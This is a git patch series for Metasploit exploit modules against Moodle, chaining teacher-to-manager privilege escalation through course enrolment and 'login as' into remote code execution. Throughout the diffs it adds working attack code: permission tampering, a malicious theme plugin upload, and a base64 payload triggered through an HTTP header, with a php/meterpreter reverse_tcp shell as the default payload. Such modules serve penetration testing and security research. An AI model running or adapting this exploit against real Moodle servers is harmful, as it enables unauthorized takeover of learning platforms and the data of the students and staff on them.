ance=1&block%2Ftag_youtube%3Aaddinstance=1&block%2Ftags%3Aaddinstance=1&moodle%2Fblock%3Aedit=1&moodle%2Fblock%3Aview=1&moodle%2Fsite%3Amanageblocks=1&savechanges=Save+changes" + 'data' => permissions }) fail_with(Failure::Unreachable, 'Error changing manager role permissions') unless res end + # copy from moodle_admin_shell_upload + def create_addon_file + # There are syntax errors in creating zip file. So the payload was sent as base64. + plugin_file = Rex::Zip::Archive.new + header = Rex::Text.rand_text_alpha_upper(4) + plugin_name = Rex::Text.rand_text_alpha_lower(8) + + print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}") + + path = "#{plugin_name}/version.php" + path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php" + # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin. + plugin_file.add_file(path, "version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';") + plugin_file.add_file(path2, "") + # plugin_file.add_file(path2, "") + return plugin_file.pack, header, plugin_name + end + + # copy from moodle_admin_shell_upload + def exec_code(plugin_name, header) + # Base64 was encoded in "PHP". This process was sent as "HTTP headers". + print_status('Triggering payload') + send_request_cgi({ + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"), + 'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + }) + end + def check return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online? @@ -121,6 +174,11 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit + v = moodle_version + return CheckCode::Detected('Unable to determine moodle version') if v.nil? + + version = Rex::Version.new(v) + print_status("Authenticating as user: #{datastore['USERNAME']}") cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty? @@ -135,25 +193,29 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Retrieving course enrollment id') enrolid = get_course_enrol_id(courseid) print_good("Enrol ID: #{enrolid}") - print_status('enroling self in class as manager') + print_status('Attempting to enrolin in class as manager (priv esc)') success = enrol(userid, courseid, enrolid, sesskey) - fail_with(Failure::NoAccess, 'Unable to enrol in course') unless success + fail_with(Failure::NoAccess, 'Unable to enrol in course as manager') unless success print_good('Successfully enrolled') - print_status('enroling a manager in class') + print_status('Attempting to find and add a manager to class') Array(2...datastore['MAXUSERS']).each do |id| next if id == userid print_status("Attempting user: #{id}") success = enrol(id, courseid, enrolid, sesskey, '5') - fail_with(Failure::NoAccess, 'Unable to enrol in course') unless success - print_good('Successfully enrolled') + if success + print_good('Successfully enrolled') + else + print_bad('Unsuccessful') + end end print_status('Retrieving course context id') contextid = get_course_context_id(courseid) print_good("Context ID: #{contextid}") managers = get_course_managers(contextid) - print_good("Enrolled user IDs: #{managers}") + print_good("Found manager user IDs: #{managers}") # loop through all maangers looking for a 'login as' link + success = false managers.each do |manager| next if manager == userid @@ -162,40 +224,38 @@ class MetasploitModule < Msf::Exploit::Remote res.body =~ %r{You are logged in as [^>]+>([^<]+)} print_status("Logged in as: #{Regexp.last_match(1)}") if res.body.include?('Site administration') - print_good('looks like a potential admin!') + print_good('Looks like a potentially good manager account!') end res.body =~ /"sesskey":"(.*?)"/ new_sesskey = Regexp.last_match(1) print_status("Attempting via new session key: #{new_sesskey}") - give_manager_all_permissions(new_sesskey) + set_manager_permissions(manager_all_permissions(new_sesskey)) print_status('Checking if permissions were set successfully') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'search.php') }) fail_with(Failure::Unreachable, 'Error retrieving settings') unless res - if res.body.include?('Install plugins') - print_good('Manager roll full permissioned, try exploit/multi/http/moodle_admin_shell_upload') - return + next unless res.body.include?('Install plugins') + + print_good('Manager roll full permissioned, attempting to upload shell') + success = true + addon_content, header, addon_name = create_addon_file + print_status('Uploading addon') + file_id, addon_sesskey = upload_addon(addon_name, version, addon_content) + fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil? + print_good('Upload Successful. Integrating addon') + ret = plugin_integration(addon_sesskey, file_id, addon_name) + if ret.nil? + fail_with(Failure::NoAccess, 'Install not successful') end + exec_code(addon_name, header) + print_status('Uninstalling plugin') + remove_plugin("theme_#{addon_name}", version, addon_sesskey) + print_status('Resetting permissions') + set_manager_permissions(manager_default_permissions(sesskey)) + break end - print_bad('Failed to upgrade permissions on manager roll') + print_bad('Failed to upgrade permissions on manager roll') unless success end - # prefer cleanup over on_session since we may have changed things, regardless of successful exploit - # def cleanup - # print_status('Sleeping 5 seconds before cleanup') - # Rex.sleep(5) - # print_status("Authenticating as user: #{datastore['USERNAME']}") - # cookie_jar.clear # clear cookies to prevent timeouts - # cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) - # if cookies.nil? || cookies.empty? - # print_bad('Failed login during cleanup') - # else - # cookies.each do |cookie| - # cookie_jar.add(cookie) - # end - # # XXX reset - # end - # super - # end end From f49d817ac4ce3979f009ad3e02cdeb598643e9c6 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 3 Oct 2021 16:13:38 -0400 Subject: [PATCH 14/15] working on cd --- .../multi/http/moodle_admin_shell_upload.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/moodle_admin_shell_upload.rb b/modules/exploits/multi/http/moodle_admin_shell_upload.rb index 7b3387cca4..3e7ca0fb6d 100644 --- a/modules/exploits/multi/http/moodle_admin_shell_upload.rb +++ b/modules/exploits/multi/http/moodle_admin_shell_upload.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::File include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Moodle @@ -43,7 +44,8 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' }, 'Payload' => { - 'BadChars' => "'" + 'BadChars' => "'", + 'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding }, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -127,7 +129,14 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NoAccess, 'Install not successful') end exec_code(addon_name, header) - print_status('Uninstalling plugin') + print_status('Uninstalling plugin after 5 second delay so payload can change directories') + sleep(5) remove_plugin("theme_#{addon_name}", version, sesskey) end + + def on_new_session(session) + print_status('Changing directory to a safe location') + sleep(3) + cd('/tmp') + end end From 59aa525ecb338942188a85d42dcd266b024bd0fb Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 11 Oct 2021 16:23:09 -0400 Subject: [PATCH 15/15] rubocop --- modules/exploits/multi/http/moodle_admin_shell_upload.rb | 6 ++---- .../multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb | 6 +++++- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/moodle_admin_shell_upload.rb b/modules/exploits/multi/http/moodle_admin_shell_upload.rb index 3e7ca0fb6d..0a0946249b 100644 --- a/modules/exploits/multi/http/moodle_admin_shell_upload.rb +++ b/modules/exploits/multi/http/moodle_admin_shell_upload.rb @@ -134,9 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote remove_plugin("theme_#{addon_name}", version, sesskey) end - def on_new_session(session) - print_status('Changing directory to a safe location') - sleep(3) - cd('/tmp') + def on_new_session(_) + print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp') end end diff --git a/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb b/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb index 63aa637699..817e240207 100644 --- a/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb +++ b/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb @@ -47,7 +47,8 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' }, 'DisclosureDate' => '2020-07-20', 'Payload' => { - 'BadChars' => "'" + 'BadChars' => "'", + 'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding }, 'DefaultTarget' => 0, 'Notes' => { @@ -258,4 +259,7 @@ class MetasploitModule < Msf::Exploit::Remote print_bad('Failed to upgrade permissions on manager roll') unless success end + def on_new_session(_) + print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp') + end end